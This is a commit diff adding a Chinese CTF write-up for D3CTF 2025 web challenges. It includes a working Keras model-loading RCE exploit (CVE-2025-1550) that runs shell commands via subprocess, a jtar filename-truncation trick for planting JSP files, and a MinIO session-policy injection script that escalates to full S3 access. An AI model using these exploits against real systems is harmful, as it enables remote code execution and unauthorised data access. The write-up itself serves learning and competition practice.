Skip to content

Commit 436af94

Browse files
author
gsbp
committed
update
1 parent a3a7487 commit 436af94

File tree

4 files changed

+385
-0
lines changed

4 files changed

+385
-0
lines changed

.DS_Store

0 Bytes
Binary file not shown.

content/.DS_Store

0 Bytes
Binary file not shown.

content/post/.DS_Store

0 Bytes
Binary file not shown.

content/post/d3ctf2025.md

Lines changed: 385 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,385 @@
1+
+++
2+
date = '2025-06-1T21:00:00+08:00'
3+
draft = false
4+
title = 'D3CTF 2025-WP'
5+
author='GSBP'
6+
categories=["Java安全","WP"]
7+
8+
+++
9+
10+
## 前言
11+
12+
跟着Syc打的,web方向差一题ak,算是有点可惜了
13+
14+
## d3model
15+
16+
题目内就一个app.py
17+
18+
```
19+
import keras
20+
from flask import Flask, request, jsonify
21+
import os
22+
23+
24+
def is_valid_model(modelname):
25+
try:
26+
keras.models.load_model(modelname)
27+
except Exception as e:
28+
print(e)
29+
return False
30+
return True
31+
32+
app = Flask(__name__)
33+
34+
@app.route('/', methods=['GET'])
35+
def index():
36+
return open('index.html').read()
37+
38+
39+
@app.route('/upload', methods=['POST'])
40+
def upload_file():
41+
if 'file' not in request.files:
42+
return jsonify({'error': 'No file part'}), 400
43+
44+
file = request.files['file']
45+
46+
if file.filename == '':
47+
return jsonify({'error': 'No selected file'}), 400
48+
49+
MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
50+
file.seek(0, os.SEEK_END)
51+
file_size = file.tell()
52+
file.seek(0)
53+
54+
if file_size > MAX_FILE_SIZE:
55+
return jsonify({'error': 'File size exceeds 50MB limit'}), 400
56+
57+
filepath = os.path.join('./', 'test.keras')
58+
if os.path.exists(filepath):
59+
os.remove(filepath)
60+
file.save(filepath)
61+
62+
if is_valid_model(filepath):
63+
return jsonify({'message': 'Model is valid'}), 200
64+
else:
65+
66+
return jsonify({'error': 'Invalid model file'}), 400
67+
68+
if __name__ == '__main__':
69+
app.run(host='0.0.0.0', port=5001)
70+
```
71+
72+
代码也没啥好审的,很明显就只有一个keras.models.load_model(modelname)能当作sink点,去网上搜一下相关漏洞就能找到现成的payload,题目不出网,外带到index.html即可
73+
74+
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
75+
76+
exp
77+
78+
```
79+
import os
80+
import zipfile
81+
import json
82+
from keras.models import Sequential
83+
from keras.layers import Dense
84+
import numpy as np
85+
86+
model_name = "test.keras"
87+
88+
x_train = np.random.rand(100, 28 * 28)
89+
y_train = np.random.rand(100)
90+
91+
model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])
92+
93+
model.compile(optimizer='adam', loss='mse')
94+
model.fit(x_train, y_train, epochs=5)
95+
model.save(model_name)
96+
97+
with zipfile.ZipFile(model_name, "r") as f:
98+
config = json.loads(f.read("config.json").decode())
99+
100+
config["config"]["layers"][0]["module"] = "keras.models"
101+
config["config"]["layers"][0]["class_name"] = "Model"
102+
config["config"]["layers"][0]["config"] = {
103+
"name": "mvlttt",
104+
"layers": [
105+
{
106+
"name": "mvlttt",
107+
"class_name": "function",
108+
"config": "Popen",
109+
"module": "subprocess",
110+
"inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}]
111+
}],
112+
"input_layers": [["mvlttt", 0, 0]],
113+
"output_layers": [["mvlttt", 0, 0]]
114+
}
115+
116+
with zipfile.ZipFile(model_name, 'r') as zip_read:
117+
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
118+
for item in zip_read.infolist():
119+
if item.filename != "config.json":
120+
zip_write.writestr(item, zip_read.read(item.filename))
121+
122+
os.remove(model_name)
123+
os.rename(f"tmp.{model_name}", model_name)
124+
125+
with zipfile.ZipFile(model_name, "a") as zf:
126+
zf.writestr("config.json", json.dumps(config))
127+
128+
print("[+] Malicious model ready")
129+
```
130+
131+
## d3jtar
132+
133+
给了个war包,直接放在tomcat部署就好
134+
135+
题目只有一个Controller,逻辑如下
136+
137+
```java
138+
//
139+
// Source code recreated from a .class file by IntelliJ IDEA
140+
// (powered by FernFlower decompiler)
141+
//
142+
143+
package d3.example.controller;
144+
145+
import d3.example.utils.BackUp;
146+
import d3.example.utils.Upload;
147+
import java.io.File;
148+
import java.io.IOException;
149+
import java.nio.file.Paths;
150+
import java.util.Arrays;
151+
import java.util.HashSet;
152+
import java.util.Objects;
153+
import java.util.Set;
154+
import javax.servlet.http.HttpServletRequest;
155+
import org.springframework.stereotype.Controller;
156+
import org.springframework.web.bind.annotation.GetMapping;
157+
import org.springframework.web.bind.annotation.PostMapping;
158+
import org.springframework.web.bind.annotation.RequestParam;
159+
import org.springframework.web.bind.annotation.ResponseBody;
160+
import org.springframework.web.multipart.MultipartFile;
161+
import org.springframework.web.servlet.ModelAndView;
162+
163+
@Controller
164+
public class MainController {
165+
public MainController() {
166+
}
167+
168+
@GetMapping({"/view"})
169+
public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
170+
if (page.matches("^[a-zA-Z0-9-]+$")) {
171+
String viewPath = "/WEB-INF/views/" + page + ".jsp";
172+
String realPath = request.getServletContext().getRealPath(viewPath);
173+
File jspFile = new File(realPath);
174+
if (realPath != null && jspFile.exists()) {
175+
return new ModelAndView(page);
176+
}
177+
}
178+
179+
ModelAndView mav = new ModelAndView("Error");
180+
mav.addObject("message", "The file don't exist.");
181+
return mav;
182+
}
183+
184+
@PostMapping({"/Upload"})
185+
@ResponseBody
186+
public String UploadController(@RequestParam MultipartFile file) {
187+
try {
188+
String uploadDir = "webapps/ROOT/WEB-INF/views";
189+
Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
190+
String filePath = Upload.secureUpload(file, uploadDir, blackList);
191+
return "Upload Success: " + filePath;
192+
} catch (Upload.UploadException e) {
193+
return "The file is forbidden: " + e;
194+
}
195+
}
196+
197+
@PostMapping({"/BackUp"})
198+
@ResponseBody
199+
public String BackUpController(@RequestParam String op) {
200+
if (Objects.equals(op, "tar")) {
201+
try {
202+
BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
203+
return "Success !";
204+
} catch (IOException var3) {
205+
return "Failure : tar Error";
206+
}
207+
} else if (Objects.equals(op, "untar")) {
208+
try {
209+
BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
210+
return "Success !";
211+
} catch (IOException var4) {
212+
return "Failure : untar Error";
213+
}
214+
} else {
215+
return "Failure : option Error";
216+
}
217+
}
218+
}
219+
220+
```
221+
222+
View接口只能够渲染jsp后缀的文件
223+
224+
Upload接口能够上传文件,不过有些filter
225+
226+
BackUP能够使用jtar这个组件对webapps/ROOT/WEB-INF/views目录下的文件打包成tar或者解包
227+
228+
229+
230+
> 这里有个很误导的地方,也是直接导致我赛中没做出来的原因,就是view接口中的"/WEB-INF/views/" + page + ".jsp";和BackUp接口中的webapps/ROOT/WEB-INF/views指的是同一个目录,在比赛期间由于我在Tomcat部署,目录结构如下图,所以我的想法一直都是利用某种方法来进行目录穿越操作,最后复现试了一下远程,发现两个是同一个目录,绷不住了
231+
> ![image-20250601192354673](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601192354673.png)
232+
233+
234+
235+
upload过滤做的很严,基本不可能成功上传,加上题目提醒jtar,那么肯定是jtar这个组件有问题
236+
237+
238+
239+
jtar在打包的流程是这样的,每个要被打包的文件都是一个Entry的实例,这个Entry包含了这个文件的一些信息,比如大小,名字,权限,还有用户的名字等等
240+
241+
然后在TarOutputStream中利用putNextEntry将每个实例化好的Entry对象放进Stream中,最后write进文件中
242+
243+
这里存在漏洞的地方就在putNextEntry中
244+
245+
![image-20250601193028746](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601193028746.png)
246+
247+
进入writeEntryHeader
248+
249+
![image-20250601193050427](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601193050427.png)
250+
251+
这里获取文件名的Bytes
252+
253+
![image-20250601193117940](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601193117940.png)
254+
255+
将文件名的char强制转换为byte并且放到buffer里,这里会导致一种什么情况呢
256+
257+
**java中char的大小在\u0000-\uffff之间,而byte的大小在(-127)-128之间,所以当char的值在257时,被强制转换成byte,则会变成1,即ascii码为1对应的字符**
258+
259+
所以这里的思路也出来了,我们只需要找到超出byte大小限制的一个unicode码就行了
260+
261+
![image-20250601194027724](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601194027724.png)
262+
263+
![image-20250601194232127](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601194232127.png)
264+
265+
然后进行一轮tar和untar,最后得到下面这个结果
266+
267+
![image-20250601194225183](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601194225183.png)
268+
269+
所以解出思路大致就是这样,附一张解出图
270+
271+
![image-20250601194345147](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601194345147.png)
272+
273+
## d3invitation
274+
275+
环境有两个,一个oss端,一个web端
276+
277+
Web端这边测端口一共测出来三个
278+
279+
- /api/genSTSCreds 生成AK,SK还有session_token
280+
- /api/putObject 拿着上面生成的凭证往储存桶里放object
281+
- /api/putObject 读取桶下的object
282+
- /invitation 没啥吊用,生成邀请函的页面
283+
284+
285+
286+
这里token我们可以解一下里面的内容
287+
288+
jwt.io
289+
290+
![image-20250601200703515](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601200703515.png)
291+
292+
可以看到一个叫sessionPolicy的东西
293+
294+
![image-20250601200730921](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601200730921.png)
295+
296+
定义了我们的一些policy,以及可读的权限只有我们上传的文件
297+
298+
那这里我们可以猜测,flag就在桶之中,我们需要获取到一定的权限去读这个flag
299+
300+
那我们这里需要获得一个够权限的token,要么是获得他token的key值,要么就是让他生成一个够权限的token
301+
302+
上面我们看到policy是一个json,这里可以尝试使用"来闭合注入
303+
304+
![image-20250601201024318](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250601201024318.png)
305+
306+
failed了,说明闭合上了,这里是可以注入的,后续也没啥东西了我觉得,就是注入一个高权限的policy,这里我直接甩exp
307+
308+
```
309+
from minio import Minio
310+
from minio.error import S3Error
311+
import requests
312+
import json
313+
BASE_URL = "http://35.241.98.126:31802" # ← 改成你的目标地址
314+
UPLOAD_FILENAME = '"],\"Action\":[\"s3:GetObject\",\"s3:PutObject\"]},{"Effect": "Allow","Action": ["s3:GetObject","s3:PutObject","s3:ListBucket","s3:ListAllMyBuckets","s3:GetBucketLocation"],"Resource": "*"}]}aaa'
315+
UPLOAD_CONTENT = b"This is a test file from attacker."
316+
ACCESS_KEY = ""
317+
SECRET_KEY = ""
318+
BUCKET_NAME = "flag"
319+
SESSION_TOKEN=""
320+
321+
322+
# Step 1: 获取临时凭证
323+
def get_temp_creds(object_name):
324+
global ACCESS_KEY, SECRET_KEY, SESSION_TOKEN
325+
url = f"{BASE_URL}/api/genSTSCreds"
326+
data = {"object_name": object_name}
327+
resp = requests.post(url, json=data)
328+
resp.raise_for_status()
329+
print("[+] 获取临时凭证成功")
330+
# temp=json.loads()
331+
ACCESS_KEY= resp.json()['access_key_id']
332+
SECRET_KEY=resp.json()['secret_access_key']
333+
SESSION_TOKEN=resp.json()['session_token']
334+
return ACCESS_KEY,SECRET_KEY,SESSION_TOKEN
335+
# MinIO server configuration
336+
get_temp_creds(UPLOAD_FILENAME)
337+
# Initialize the MinIO client
338+
print(ACCESS_KEY)
339+
print(SECRET_KEY)
340+
print(SESSION_TOKEN)
341+
minio_client = Minio(
342+
"35.241.98.126:32402",
343+
access_key=ACCESS_KEY,
344+
secret_key=SECRET_KEY,
345+
session_token=SESSION_TOKEN,
346+
secure=False
347+
)
348+
349+
350+
def download_file(object_name, download_path):
351+
"""Download a file from the MinIO bucket."""
352+
try:
353+
minio_client.fget_object(BUCKET_NAME, object_name, download_path)
354+
print(f"[+] File '{object_name}' downloaded to '{download_path}'")
355+
except S3Error as e:
356+
print(f"[-] Error downloading file: {e}")
357+
358+
def list_objects():
359+
"""List all objects in the MinIO bucket."""
360+
try:
361+
objects = minio_client.list_objects(BUCKET_NAME)
362+
print("[+] Objects in bucket:")
363+
for obj in objects:
364+
print(f" - {obj.object_name}")
365+
except S3Error as e:
366+
print(f"[-] Error listing objects: {e}")
367+
368+
def list_buckets():
369+
"""List all buckets in the MinIO server."""
370+
try:
371+
buckets = minio_client.list_buckets()
372+
print("[+] Buckets:")
373+
print(buckets)
374+
for bucket in buckets:
375+
print(f" - {bucket.name}")
376+
except S3Error as e:
377+
print(f"[-] Error listing buckets: {e}")
378+
379+
380+
list_buckets()
381+
list_objects()
382+
download_file("flag", "downloaded_example.txt")
383+
```
384+
385+
## tidy quic

0 commit comments

Comments
 (0)